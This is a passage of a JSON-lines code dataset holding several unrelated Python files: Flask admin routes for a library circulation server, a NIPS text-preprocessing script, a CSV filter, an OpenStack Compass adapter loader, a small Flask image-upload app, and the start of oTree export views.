if isinstance(data, ProblemDetail):\n        return data\n    return flask.jsonify(**data)\n\n@app.route('/admin/works/<data_source>/<identifier_type>/<path:identifier>/edit', methods=['POST'])\n@returns_problem_detail\n@requires_admin\ndef edit(data_source, identifier_type, identifier):\n    return app.manager.admin_work_controller.edit(data_source, identifier_type, identifier)\n\n@app.route('/admin/works/<data_source>/<identifier_type>/<path:identifier>/suppress', methods=['POST'])\n@returns_problem_detail\n@requires_csrf_token\n@requires_admin\ndef suppress(data_source, identifier_type, identifier):\n    return app.manager.admin_work_controller.suppress(data_source, identifier_type, identifier)\n\n@app.route('/admin/works/<data_source>/<identifier_type>/<path:identifier>/unsuppress', methods=['POST'])\n@returns_problem_detail\n@requires_csrf_token\n@requires_admin\ndef unsuppress(data_source, identifier_type, identifier):\n    return app.manager.admin_work_controller.unsuppress(data_source, identifier_type, identifier)\n\n@app.route('/works/<data_source>/<identifier_type>/<path:identifier>/refresh', methods=['POST'])\n@returns_problem_detail\n@requires_csrf_token\n@requires_admin\ndef refresh(data_source, identifier_type, identifier):\n    return app.manager.admin_work_controller.refresh_metadata(data_source, identifier_type, identifier)\n\n@app.route('/admin/works/<data_source>/<identifier_type>/<path:identifier>/resolve_complaints', methods=['POST'])\n@returns_problem_detail\n@requires_admin\n@requires_csrf_token\ndef resolve_complaints(data_source, identifier_type, identifier):\n    return app.manager.admin_work_controller.resolve_complaints(data_source, identifier_type, identifier)\n\n@app.route('/admin/works/<data_source>/<identifier_type>/<path:identifier>/edit_classifications', methods=['POST'])\n@returns_problem_detail\n@requires_admin\n@requires_csrf_token\ndef edit_classifications(data_source, identifier_type, identifier):\n    return app.manager.admin_work_controller.edit_classifications(data_source, identifier_type, identifier)\n\n@app.route('/admin/complaints')\n@returns_problem_detail\n@requires_admin\ndef complaints():\n    return app.manager.admin_feed_controller.complaints()\n\n@app.route('/admin/suppressed')\n@returns_problem_detail\n@requires_admin\ndef suppressed():\n    \"\"\"Returns a feed of suppressed works.\"\"\"\n    return app.manager.admin_feed_controller.suppressed()\n\n@app.route('/admin/genres')\n@returns_problem_detail\n@requires_admin\ndef genres():\n    \"\"\"Returns a JSON representation of complete genre tree.\"\"\"\n    data = app.manager.admin_feed_controller.genres()\n    if isinstance(data, ProblemDetail):\n        return data\n    return flask.jsonify(**data)\n\n@app.route('/admin/bulk_circulation_events')\n@returns_problem_detail\n@requires_admin\ndef bulk_circulation_events():\n    \"\"\"Returns a CSV representation of all circulation events with optional\n    start and end times.\"\"\"\n    data, date = app.manager.admin_dashboard_controller.bulk_circulation_events()\n    if isinstance(data, ProblemDetail):\n        return data\n\n    class UnicodeWriter:\n        \"\"\"\n        A CSV writer for Unicode data.\n        \"\"\"\n\n        def __init__(self, f, dialect=csv.excel, encoding=\"utf-8\", **kwds):\n            # Redirect output to a queue\n            self.queue = StringIO()\n            self.writer = csv.writer(self.queue, dialect=dialect, **kwds)\n            self.stream = f\n            self.encoder = codecs.getincrementalencoder(encoding)()\n\n        def writerow(self, row):\n            self.writer.writerow(\n                [s.encode(\"utf-8\") if hasattr(s, \"encode\") else \"\" for s in row]\n            )\n            # Fetch UTF-8 output from the queue ...\n            data = self.queue.getvalue()\n            data = data.decode(\"utf-8\")\n            # ... and reencode it into the target encoding\n            data = self.encoder.encode(data)\n            # write to the target stream\n            self.stream.write(data)\n            # empty queue\n            self.queue.truncate(0)\n\n        def writerows(self, rows):\n            for row in rows:\n                self.writerow(row)\n\n    output = StringIO()\n    writer = UnicodeWriter(output)\n    writer.writerows(data)\n    response = make_response(output.getvalue())\n    response.headers['Content-Disposition'] = \"attachment; filename=circulation_events_\" + date + \".csv\"\n    response.headers[\"Content-type\"] = \"text/csv\"\n    return response\n\n@app.route('/admin/circulation_events')\n@returns_problem_detail\n@requires_admin\ndef circulation_events():\n    \"\"\"Returns a JSON representation of the most recent circulation events.\"\"\"\n    data = app.manager.admin_dashboard_controller.circulation_events()\n    if isinstance(data, ProblemDetail):\n        return data\n    return flask.jsonify(**data)\n\n@app.route('/admin/stats')\n@returns_problem_detail\n@requires_admin\ndef stats():\n    data = app.manager.admin_dashboard_controller.stats()\n    if isinstance(data, ProblemDetail):\n        return data\n    return flask.jsonify(**data)\n\n@app.route('/admin/libraries', methods=['GET', 'POST'])\n@returns_problem_detail\n@requires_csrf_token\n@requires_admin\ndef libraries():\n    data = app.manager.admin_settings_controller.libraries()\n    if isinstance(data, ProblemDetail):\n        return data\n    if isinstance(data, Response):\n        return data\n    return flask.jsonify(**data)\n\n@app.route(\"/admin/collections\", methods=['GET', 'POST'])\n@returns_problem_detail\n@requires_csrf_token\n@requires_admin\ndef collections():\n    data = app.manager.admin_settings_controller.collections()\n    if isinstance(data, ProblemDetail):\n        return data\n    if isinstance(data, Response):\n        return data\n    return flask.jsonify(**data)\n\n@app.route(\"/admin/admin_auth_services\", methods=['GET', 'POST'])\n@returns_problem_detail\n@allows_admin_auth_setup\n@requires_csrf_token\n@requires_admin\ndef admin_auth_services():\n    data = app.manager.admin_settings_controller.admin_auth_services()\n    if isinstance(data, ProblemDetail):\n        return data\n    if isinstance(data, Response):\n        return data\n    return flask.jsonify(**data)\n\n@app.route('/admin/sign_in_again')\ndef admin_sign_in_again():\n    \"\"\"Allows an  admin with expired credentials to sign back in\n    from a new browser tab so they won't lose changes.\n    \"\"\"\n    admin = app.manager.admin_sign_in_controller.authenticated_admin_from_request()\n    csrf_token = app.manager.admin_sign_in_controller.get_csrf_token()\n    if isinstance(admin, ProblemDetail) or csrf_token is None or isinstance(csrf_token, ProblemDetail):\n        redirect_url = flask.request.url\n        return redirect(app.manager.url_for('admin_sign_in', redirect=redirect_url))\n    return flask.render_template_string(sign_in_again_template)\n\n@app.route('/admin/web')\n@app.route('/admin/web/')\n@app.route('/admin/web/collection/<path:collection>/book/<path:book>')\n@app.route('/admin/web/collection/<path:collection>')\n@app.route('/admin/web/book/<path:book>')\n@app.route('/admin/web/<path:etc>') # catchall for single-page URLs\ndef admin_view(collection=None, book=None, **kwargs):\n    setting_up = (app.manager.admin_sign_in_controller.auth == None)\n    if not setting_up:\n        admin = app.manager.admin_sign_in_controller.authenticated_admin_from_request()\n        csrf_token = app.manager.admin_sign_in_controller.get_csrf_token()\n        if isinstance(admin, ProblemDetail) or csrf_token is None or isinstance(csrf_token, ProblemDetail):\n            redirect_url = flask.request.url\n            if (collection):\n                quoted_collection = urllib.quote(collection)\n                redirect_url = redirect_url.replace(\n                    quoted_collection,\n                    quoted_collection.replace(\"/\", \"%2F\"))\n            if (book):\n                quoted_book = urllib.quote(book)\n                redirect_url = redirect_url.replace(\n                    quoted_book,\n                    quoted_book.replace(\"/\", \"%2F\"))\n            return redirect(app.manager.url_for('admin_sign_in', redirect=redirect_url))\n    else:\n        csrf_token = None\n    show_circ_events_download = (\n        \"core.local_analytics_provider\" in (Configuration.policy(\"analytics\") or [])\n    )\n    return flask.render_template_string(\n        admin_template,\n        csrf_token=csrf_token,\n        home_url=app.manager.url_for('acquisition_groups'),\n        show_circ_events_download=show_circ_events_download,\n        setting_up=setting_up,\n    )\n\n@app.route('/admin')\n@app.route('/admin/')\ndef admin_base(**kwargs):\n    return redirect(app.manager.url_for('admin_view'))\n\n@app.route('/admin/static/circulation-web.js')\n@returns_problem_detail\ndef admin_js():\n    directory = os.path.join(os.path.abspath(os.path.dirname(__file__)), \"node_modules\", \"simplified-circulation-web\", \"dist\")\n    return flask.send_from_directory(directory, \"circulation-web.js\")\n\n@app.route('/admin/static/circulation-web.css')\n@returns_problem_detail\ndef admin_css():\n    directory = os.path.join(os.path.abspath(os.path.dirname(__file__)), \"node_modules\", \"simplified-circulation-web\", \"dist\")\n    return flask.send_from_directory(directory, \"circulation-web.css\")\n\n","sub_path":"api/admin/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":12562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"144522334","text":"# -*- coding: utf-8 -*-\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.model_selection import KFold\nimport numpy as np\nimport pandas as pd\nimport pickle\nimport random\nfrom scipy import sparse\nimport itertools\nfrom scipy.io import savemat, loadmat\nimport re\nimport string\nimport sys\nimport os\nimport argparse\n\nparser = argparse.ArgumentParser(description='nips preprocessing')\n\nparser.add_argument('--folds', type=int, default=3, help='number of folds')\nparser.add_argument('--data_path', type=str, help='directory containing data')\nparser.add_argument('--split', type=float, help='percentage of test data')\n\nargs = parser.parse_args()\n\n# Maximum / minimum document frequency\nmax_df = 0.7\nmin_df = 100  # choose desired value for min_df\n\n# Read stopwords\nwith open('stops.txt', 'r') as f:\n    stops = f.read().split('\\n')\n\n# Read data\nprint('reading text file...')\ndata_file = '../../data/papers.csv'\ninit_docs = list(pd.read_csv(data_file)['paper_text'])\n\ninit_docs = [re.findall(r'''[\\w']+|[.,!?;-~{}`´_<=>:/@*()&'$%#\"]''', init_docs[doc]) for doc in range(len(init_docs))]\n\ndef contains_punctuation(w):\n    return any(char in string.punctuation for char in w)\n\ndef contains_numeric(w):\n    return any(char.isdigit() for char in w)\n    \n# Remove documents with length less than 10 and greater than 95th percentile.\ndef remove_outlier(docs):\n    lengths = np.array([len(doc) for doc in docs])\n    docs = [docs[i] for i in np.where((lengths > 10) & (lengths < np.percentile(lengths, 95)))[0]]\n\n    return docs\n\n# Removes all words with any punctuation or digits in them.\ninit_docs = [[w.lower() for w in init_docs[doc] if not contains_punctuation(w)] for doc in range(len(init_docs))]\ninit_docs = [[w for w in init_docs[doc] if not contains_numeric(w)] for doc in range(len(init_docs))]\ninit_docs = [[w for w in init_docs[doc] if len(w)>1] for doc in range(len(init_docs))]\ninit_docs = [\" \".join(init_docs[doc]) for doc in range(len(init_docs))]\n\n# Create count vectorizer\nprint('counting document frequency of words...')\ncvectorizer = CountVectorizer(min_df=min_df, max_df=max_df, stop_words=None)\ncvz = cvectorizer.fit_transform(init_docs).sign()\n\n# Get vocabulary\nprint('building the vocabulary...')\nsum_counts = np.asarray(cvz.sum(axis=0))[0]\nv_size = sum_counts.shape[0]\nprint('initial vocabulary size: {}'.format(v_size))\n\n# Sort elements in vocabulary and also remove stop words from the list\nvocab = sorted([(i, word) for i, word in enumerate(cvectorizer.vocabulary_) if word  not in stops], key=lambda x: x[0])\nvocab = [w for i, w in vocab]\ndel cvectorizer\n\n# Split in train/test/valid\nprint('tokenizing documents and splitting into train/test/valid...')\ntsSize = int(len(init_docs) * args.split)\nnum_docs_tr = trSize = len(init_docs) - tsSize\n\n#idx_permute = np.random.permutation(num_docs_tr).astype(int)\nidx_permute = np.arange(num_docs_tr)\n\n# Remove words not in train_data\nvocab = list(set([w for idx_d in range(trSize) for w in init_docs[idx_permute[idx_d]].split() if w in vocab]))\nword2id = dict([(w, j) for j, w in enumerate(vocab)])\nid2word = dict([(j, w) for j, w in enumerate(vocab)])\nprint('vocabulary after removing words not in train: {}'.format(len(vocab)))\n\n# Split in train/test/valid\ndocs_tr = [[word2id[w] for w in init_docs[idx_permute[idx_d]].split() if w in word2id] for idx_d in range(trSize)]\ndocs_ts = [[word2id[w] for w in init_docs[idx_d+num_docs_tr].split() if w in word2id] for idx_d in range(tsSize)]\n\n# Remove empty documents\nprint('removing empty documents...')\n\ndef remove_empty(in_docs):\n    return [doc for doc in in_docs if doc!=[]]\n\ndocs_tr = remove_empty(docs_tr)\ndocs_ts = remove_empty(docs_ts)\n\n# Remove test documents with length=1\ndocs_ts = [doc for doc in docs_ts if len(doc)>1]\n\n# Split test set in 2 halves\nprint('splitting test and validation documents in 2 halves...')\ndocs_ts_h1 = [[w for i,w in enumerate(doc) if i<=len(doc)/2.0-1] for doc in docs_ts]\ndocs_ts_h2 = [[w for i,w in enumerate(doc) if i>len(doc)/2.0-1] for doc in docs_ts]\n\n# Get doc indices\nprint('getting doc indices...')\n\ndef create_doc_indices(in_docs):\n    aux = [[j for i in range(len(doc))] for j, doc in enumerate(in_docs)]\n    return [int(x) for y in aux for x in y]\n\ndoc_indices_tr = create_doc_indices(docs_tr)\ndoc_indices_ts_h1 = create_doc_indices(docs_ts_h1)\ndoc_indices_ts_h2 = create_doc_indices(docs_ts_h2)\n\n# Number of documents in each set\nn_docs_ts_h1 = len(docs_ts_h1)\nn_docs_ts_h2 = len(docs_ts_h2)\n\n# Create bow representation\nprint('creating bow representation...')\n\ndef create_list_words(in_docs):\n    return [x for y in in_docs for x in y]\n\ndef create_bow(doc_indices, words, n_docs, vocab_size):\n    return sparse.coo_matrix(([1]*len(doc_indices),(doc_indices, words)), shape=(n_docs, vocab_size)).tocsr()\n\nbow_ts_h1 = create_bow(doc_indices_ts_h1, create_list_words(docs_ts_h1), n_docs_ts_h1, len(vocab))\nbow_ts_h2 = create_bow(doc_indices_ts_h2, create_list_words(docs_ts_h2), n_docs_ts_h2, len(vocab))\n\n# Remove unused variables\ndel docs_ts_h1\ndel docs_ts_h2\ndel doc_indices_ts_h1\ndel doc_indices_ts_h2\n\n# Write the vocabulary to a file\nif not os.path.isdir(args.data_path):\n    os.system('mkdir -p ' + args.data_path)\n\nwith open(args.data_path + 'vocab.pkl', 'wb') as f:\n    pickle.dump(vocab, f)\n\ndef save_data(x, mode, path_save):\n    \n    x = x.toarray()\n    docs = []\n    for d in x:\n\n        doc = []\n        for index in list(d.nonzero()[0]):\n            doc += d[index] * [index]\n\n        docs.append(np.array(doc))\n\n    docs = np.array(docs)\n    np.save(os.path.join(path_save, mode + '.txt.npy'), docs)\n\n# Split bow intro token/value pairs\nprint('splitting bow intro token/value pairs and saving to disk...')\n\ndef split_bow(bow_in, n_docs):\n    indices = [[w for w in bow_in[doc,:].indices] for doc in range(n_docs)]\n    counts = [[c for c in bow_in[doc,:].data] for doc in range(n_docs)]\n    return indices, counts\n\nkf = KFold(n_splits=args.folds)\n\nfor fold, indices in enumerate(kf.split(docs_tr)):\n\n    print(\"Creating fold: \", fold)    \n    fold_path = args.data_path + 'fold' + str(fold) + '/'\n    if not os.path.isdir(fold_path):\n        os.system('mkdir -p ' + fold_path)\n\n    train, valid = [docs_tr[i] for i in indices[0]], [docs_tr[i] for i in indices[1]]\n    print('number of documents (train): {}'.format(len(train)))\n\n    train_indices = create_doc_indices(train)\n    bow_tr = create_bow(train_indices, create_list_words(train), len(train), len(vocab)) \n    save_data(bow_tr, 'train', fold_path)\n\n    pre_valid_h1 = [[w for i,w in enumerate(doc) if i<=len(doc)//2] for doc in valid]\n    pre_valid_h2 = [[w for i,w in enumerate(doc) if i>len(doc)//2] for doc in valid]\n\n    valid_h1 = []\n    valid_h2 = []\n    \n    for x, y in zip(pre_valid_h1, pre_valid_h2):\n        if len(x) != 0 and len(y) != 0:\n            valid_h1.append(x)\n            valid_h2.append(y)\n\n    print('number of documents (valid): {}'.format(len(valid_h1)))\n    valid_h1_indices = create_doc_indices(valid_h1)\n    bow_va_h1 = create_bow(valid_h1_indices, create_list_words(valid_h1), len(valid_h1), len(vocab))\n    save_data(bow_va_h1, 'valid_h1', fold_path)\n\n    valid_h2_indices = create_doc_indices(valid_h2)\n    bow_va_h2 = create_bow(valid_h2_indices, create_list_words(valid_h2), len(valid_h2), len(vocab))\n    save_data(bow_va_h2, 'valid_h2', fold_path)\n    \n    del train\n    del train_indices\n    del bow_tr\n    del valid_h1\n    del valid_h1_indices\n    del bow_va_h1\n    del valid_h2\n    del valid_h2_indices\n    del bow_va_h2\n\nsave_data(bow_ts_h1, 'test_h1', args.data_path)\nsave_data(bow_ts_h2, 'test_h2', args.data_path)\nprint('Data ready !!')\n","sub_path":"scripts/data_nips_cv.py","file_name":"data_nips_cv.py","file_ext":"py","file_size_in_byte":7635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"284829734","text":"import csv\n\nfiles = range(1,13)\n\nfor f in files:\n\tpath = '../data/2008/2008-%s.csv' % f\n\tf = open(path, 'rb')\n\tdata = csv.DictReader(f)\n\n\tdictFile = open('../data/cleanedData/2008LatLng.json', 'ab')\n\tfor d in data:\n\t\tif 'PHOENIX, AZ' in d['Address']:\n\t\t\tnewLine = str(d)\n\t\t\tnewLine += '\\n'\n\t\t\tdictFile.write(newLine)","sub_path":"tools/2008CleanCsv.py","file_name":"2008CleanCsv.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"522856496","text":"# Copyright 2014 Huawei Technologies Co. Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Adapter related database operations.\"\"\"\nimport logging\nimport re\n\nfrom compass.db.api import database\nfrom compass.db.api import utils\nfrom compass.db import exception\nfrom compass.db import models\n\nfrom compass.utils import setting_wrapper as setting\nfrom compass.utils import util\n\n\nOSES = None\nOS_INSTALLERS = None\nPACKAGE_INSTALLERS = None\nADAPTERS = None\nADAPTERS_FLAVORS = None\nADAPTERS_ROLES = None\n\n\ndef _get_oses_from_configuration():\n    \"\"\"Get all os configs from os configuration dir.\n\n    Example: {\n        <os_name>: {\n            'name': <os_name>,\n            'id': <os_name>,\n            'os_id': <os_name>,\n            'deployable': True\n        }\n    }\n    \"\"\"\n    configs = util.load_configs(setting.OS_DIR)\n    systems = {}\n    for config in configs:\n        logging.info('get config %s', config)\n        system_name = config['NAME']\n        parent_name = config.get('PARENT', None)\n        system = {\n            'name': system_name,\n            'id': system_name,\n            'os_id': system_name,\n            'parent': parent_name,\n            'parent_id': parent_name,\n            'deployable': config.get('DEPLOYABLE', False)\n        }\n        systems[system_name] = system\n    parents = {}\n    for name, system in systems.items():\n        parent = system.get('parent', None)\n        parents[name] = parent\n    for name, system in systems.items():\n        util.recursive_merge_dict(name, systems, parents)\n    return systems\n\n\ndef _get_installers_from_configuration(configs):\n    \"\"\"Get installers from configurations.\n\n    Example: {\n        <installer_isntance>: {\n            'alias': <instance_name>,\n            'id': <instance_name>,\n            'name': <name>,\n            'settings': <dict pass to installer plugin>\n        }\n    }\n    \"\"\"\n    installers = {}\n    for config in configs:\n        name = config['NAME']\n        instance_name = config.get('INSTANCE_NAME', name)\n        installers[instance_name] = {\n            'alias': instance_name,\n            'id': instance_name,\n            'name': name,\n            'settings': config.get('SETTINGS', {})\n        }\n    return installers\n\n\ndef _get_os_installers_from_configuration():\n    \"\"\"Get os installers from os installer config dir.\"\"\"\n    configs = util.load_configs(setting.OS_INSTALLER_DIR)\n    return _get_installers_from_configuration(configs)\n\n\ndef _get_package_installers_from_configuration():\n    \"\"\"Get package installers from package installer config dir.\"\"\"\n    configs = util.load_configs(setting.PACKAGE_INSTALLER_DIR)\n    return _get_installers_from_configuration(configs)\n\n\ndef _get_adapters_from_configuration():\n    \"\"\"Get adapters from adapter config dir.\"\"\"\n    configs = util.load_configs(setting.ADAPTER_DIR)\n    adapters = {}\n    for config in configs:\n        logging.info('add config %s to adapter', config)\n        if 'OS_INSTALLER' in config:\n            os_installer = OS_INSTALLERS[config['OS_INSTALLER']]\n        else:\n            os_installer = None\n\n        if 'PACKAGE_INSTALLER' in config:\n            package_installer = PACKAGE_INSTALLERS[\n                config['PACKAGE_INSTALLER']\n            ]\n        else:\n            package_installer = None\n\n        adapter_name = config['NAME']\n        parent_name = config.get('PARENT', None)\n        adapter = {\n            'name': adapter_name,\n            'id': adapter_name,\n            'parent': parent_name,\n            'parent_id': parent_name,\n            'display_name': config.get('DISPLAY_NAME', adapter_name),\n            'os_installer': os_installer,\n            'package_installer': package_installer,\n            'deployable': config.get('DEPLOYABLE', False),\n            'health_check_cmd': config.get('HEALTH_CHECK_COMMAND', None),\n            'supported_oses': [],\n            'roles': [],\n            'flavors': []\n        }\n        supported_os_patterns = [\n            re.compile(supported_os_pattern)\n            for supported_os_pattern in config.get('SUPPORTED_OS_PATTERNS', [])\n        ]\n        for os_name, os in OSES.items():\n            if not os.get('deployable', False):\n                continue\n            for supported_os_pattern in supported_os_patterns:\n                if supported_os_pattern.match(os_name):\n                    adapter['supported_oses'].append(os)\n                    break\n        adapters[adapter_name] = adapter\n\n    parents = {}\n    for name, adapter in adapters.items():\n        parent = adapter.get('parent', None)\n        parents[name] = parent\n    for name, adapter in adapters.items():\n        util.recursive_merge_dict(name, adapters, parents)\n    return adapters\n\n\ndef _add_roles_from_configuration():\n    \"\"\"Get roles from roles config dir and update to adapters.\"\"\"\n    configs = util.load_configs(setting.ADAPTER_ROLE_DIR)\n    for config in configs:\n        logging.info(\n            'add config %s to role', config\n        )\n        adapter_name = config['ADAPTER_NAME']\n        adapter = ADAPTERS[adapter_name]\n        adapter_roles = ADAPTERS_ROLES.setdefault(adapter_name, {})\n        for role_dict in config['ROLES']:\n            role_name = role_dict['role']\n            display_name = role_dict.get('display_name', role_name)\n            adapter_roles[role_name] = {\n                'name': role_name,\n                'id': '%s:%s' % (adapter_name, role_name),\n                'adapter_id': adapter_name,\n                'adapter_name': adapter_name,\n                'display_name': display_name,\n                'description': role_dict.get('description', display_name),\n                'optional': role_dict.get('optional', False)\n            }\n    parents = {}\n    for name, adapter in ADAPTERS.items():\n        parent = adapter.get('parent', None)\n        parents[name] = parent\n    for adapter_name, adapter_roles in ADAPTERS_ROLES.items():\n        util.recursive_merge_dict(adapter_name, ADAPTERS_ROLES, parents)\n    for adapter_name, adapter_roles in ADAPTERS_ROLES.items():\n        adapter = ADAPTERS[adapter_name]\n        adapter['roles'] = adapter_roles.values()\n\n\ndef _add_flavors_from_configuration():\n    \"\"\"Get flavors from flavor config dir and update to adapters.\"\"\"\n    configs = util.load_configs(setting.ADAPTER_FLAVOR_DIR)\n    for config in configs:\n        logging.info('add config %s to flavor', config)\n        adapter_name = config['ADAPTER_NAME']\n        adapter = ADAPTERS[adapter_name]\n        adapter_flavors = ADAPTERS_FLAVORS.setdefault(adapter_name, {})\n        adapter_roles = ADAPTERS_ROLES[adapter_name]\n        for flavor_dict in config['FLAVORS']:\n            flavor_name = flavor_dict['flavor']\n            flavor_id = '%s:%s' % (adapter_name, flavor_name)\n            flavor = {\n                'name': flavor_name,\n                'id': flavor_id,\n                'adapter_id': adapter_name,\n                'adapter_name': adapter_name,\n                'display_name': flavor_dict.get('display_name', flavor_name),\n                'template': flavor_dict.get('template', None)\n            }\n            flavor_roles = flavor_dict.get('roles', [])\n            roles_in_flavor = []\n            for flavor_role in flavor_roles:\n                if isinstance(flavor_role, basestring):\n                    role_name = flavor_role\n                    role_in_flavor = {\n                        'name': role_name,\n                        'flavor_id': flavor_id\n                    }\n                else:\n                    role_in_flavor = flavor_role\n                    role_in_flavor['flavor_id'] = flavor_id\n                    if 'role' in role_in_flavor:\n                        role_in_flavor['name'] = role_in_flavor['role']\n                        del role_in_flavor['role']\n                    role_name = role_in_flavor['name']\n                role = adapter_roles[role_name]\n                util.merge_dict(role_in_flavor, role, override=False)\n                roles_in_flavor.append(role_in_flavor)\n            flavor['roles'] = roles_in_flavor\n            adapter_flavors[flavor_name] = flavor\n    parents = {}\n    for name, adapter in ADAPTERS.items():\n        parent = adapter.get('parent', None)\n        parents[name] = parent\n    for adapter_name, adapter_roles in ADAPTERS_FLAVORS.items():\n        util.recursive_merge_dict(adapter_name, ADAPTERS_FLAVORS, parents)\n    for adapter_name, adapter_flavors in ADAPTERS_FLAVORS.items():\n        adapter = ADAPTERS[adapter_name]\n        adapter['flavors'] = adapter_flavors.values()\n\n\ndef load_adapters_internal(force_reload=False):\n    \"\"\"Load adapter related configurations into memory.\n\n    If force_reload, reload all configurations even it is loaded already.\n    \"\"\"\n    global OSES\n    if force_reload or OSES is None:\n        OSES = _get_oses_from_configuration()\n    global OS_INSTALLERS\n    if force_reload or OS_INSTALLERS is None:\n        OS_INSTALLERS = _get_os_installers_from_configuration()\n    global PACKAGE_INSTALLERS\n    if force_reload or PACKAGE_INSTALLERS is None:\n        PACKAGE_INSTALLERS = _get_package_installers_from_configuration()\n    global ADAPTERS\n    if force_reload or ADAPTERS is None:\n        ADAPTERS = _get_adapters_from_configuration()\n    global ADAPTERS_ROLES\n    if force_reload or ADAPTERS_ROLES is None:\n        ADAPTERS_ROLES = {}\n        _add_roles_from_configuration()\n    global ADAPTERS_FLAVORS\n    if force_reload or ADAPTERS_FLAVORS is None:\n        ADAPTERS_FLAVORS = {}\n        _add_flavors_from_configuration()\n\n\ndef get_adapters_internal(force_reload=False):\n    \"\"\"Get all deployable adapters.\"\"\"\n    load_adapters_internal(force_reload=force_reload)\n    adapter_mapping = {}\n    for adapter_name, adapter in ADAPTERS.items():\n        if adapter.get('deployable'):\n            # TODO(xicheng): adapter should be filtered before\n            # return to caller.\n            adapter_mapping[adapter_name] = adapter\n        else:\n            logging.info(\n                'ignore adapter %s since it is not deployable',\n                adapter_name\n            )\n    return adapter_mapping\n\n\ndef get_flavors_internal(force_reload=False):\n    \"\"\"Get all deployable flavors.\"\"\"\n    load_adapters_internal(force_reload=force_reload)\n    adapter_flavor_mapping = {}\n    for adapter_name, adapter_flavors in ADAPTERS_FLAVORS.items():\n        adapter = ADAPTERS.get(adapter_name, {})\n        for flavor_name, flavor in adapter_flavors.items():\n            if adapter.get('deployable'):\n                # TODO(xicheng): flavor dict should be filtered before\n                # return to caller.\n                adapter_flavor_mapping.setdefault(\n                    adapter_name, {}\n                )[flavor_name] = flavor\n            else:\n                logging.info(\n                    'ignore adapter %s since it is not deployable',\n                    adapter_name\n                )\n\n    return adapter_flavor_mapping\n","sub_path":"compass/db/api/adapter.py","file_name":"adapter.py","file_ext":"py","file_size_in_byte":11409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"326566230","text":"from flask import Flask, redirect, url_for, render_template, request, flash, make_response\nimport Drive\nimport os\nfrom werkzeug.utils import secure_filename\n\napp = Flask(__name__)\napp.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024\npath = os.getcwd()\napp.config['UPLOAD_FOLDER'] = path\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg'])\n\ndef allowed_file(filename):\n    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\ndef filters(data:list, email:str):\n    data.pop(0)\n    maindt = []\n    post = []\n    position = 0\n    for dt in data:\n        if dt[4] == email and not \"imgur.com\" in dt[13] and not 'deals4free.in' in dt[13]:\n            maindt.append(dt)\n            post.append(f\"{position}\") # here inside the post its sno and position\n        position = position + 1\n    return maindt, post\n\n@app.route(\"/\")\ndef indexpage():\n    return render_template('index.html')\n\n@app.route(\"/uploadimg\", methods=[\"POST\"])\ndef uploadimg():\n    if 'files[]' not in request.files:\n        flash('No file part')\n        return redirect(request.url)\n    ids = request.args.get(\"id\")\n    files = request.files.getlist('files[]')\n    n = 0\n    linkList = []\n    for file in files:\n        if n > 10:\n            break\n        if file and allowed_file(file.filename):\n            filename = secure_filename(file.filename)\n            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n            link = Drive.uploadFile(filename)\n            if link:\n                linkList.append(Drive.uploadFile(filename))\n                n = n + 1\n        else:\n            flash(\"This type of file is not supported or file not found\")\n    if len(link):\n        pass\n    else:\n        flash(\"Error while updating data please contact site owner\")\n    cookies = request.cookies.get(\"mail\")\n    Drive.updateseq(cookies, linkList, ids)\n    return redirect(f'/submitDT?mail={cookies.split(\":\")[0]}')\n\n@app.route(\"/submitDT\")\ndef submitDT():\n    mail = request.args.get('mail')\n    allData = Drive.getDetails()\n    reldt, position = filters(allData, mail)\n    # 17, 20, 23, 26, 29, 32, 35, 38, 41, 44\n    resp = make_response(render_template('showdata.html', data=reldt))\n    resp.set_cookie('mail', f\"{mail}:{position}\") # here i am storing email and position which is post inside which its there is sno. and position of the mail\n    # now here i am going to check mail and sno. to get the proper data and change its screenshots link\n    return resp\n\n@app.route(\"/index.html\")\ndef indexpg():\n    return render_template('index.html')\n\nif __name__ == '__main__':\n    app.run(debug=True, threaded=True, port=8080)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"545342467","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\n# =============================================================================\n# IMPORTS\n# =============================================================================\n\nimport datetime\n\nfrom django.http import HttpResponse\nfrom django.conf import settings\n\nimport vanilla\n\nimport otree.common_internal\nimport otree.models\nfrom otree.common_internal import app_name_format\n\n\n# =============================================================================\n# VIEWS\n# =============================================================================\n\nclass ExportIndex(vanilla.TemplateView):\n\n    template_name = 'otree/export/index.html'\n\n    url_pattern = r\"^export/$\"\n\n    def get_context_data(self, **kwargs):\n        context = super(ExportIndex, self).get_context_data(**kwargs)\n        app_labels = settings.INSTALLED_OTREE_APPS\n        app_labels_with_data = []\n        for app_label in app_labels:\n            model_module = otree.common_internal.get_models_module(app_label)\n            if model_module.Player.objects.exists():\n                app_labels_with_data.append(app_label)\n        apps = [\n            {\"name\": app_name_format(app_label), \"label\": app_label}\n            for app_label in app_labels_with_data\n        ]\n        context.update({'apps': apps})\n        return context\n\n\nclass ExportAppDocs(vanilla.View):\n\n    url_pattern = r\"^ExportAppDocs/(?P<app_label>[\\w.]+)/$\"\n\n    def _doc_file_name(self, app_label):\n        return '{} - documentation ({}).txt'.format(\n            otree.common_internal.app_name_format(app_label),\n            datetime.date.today().isoformat()\n        )\n\n 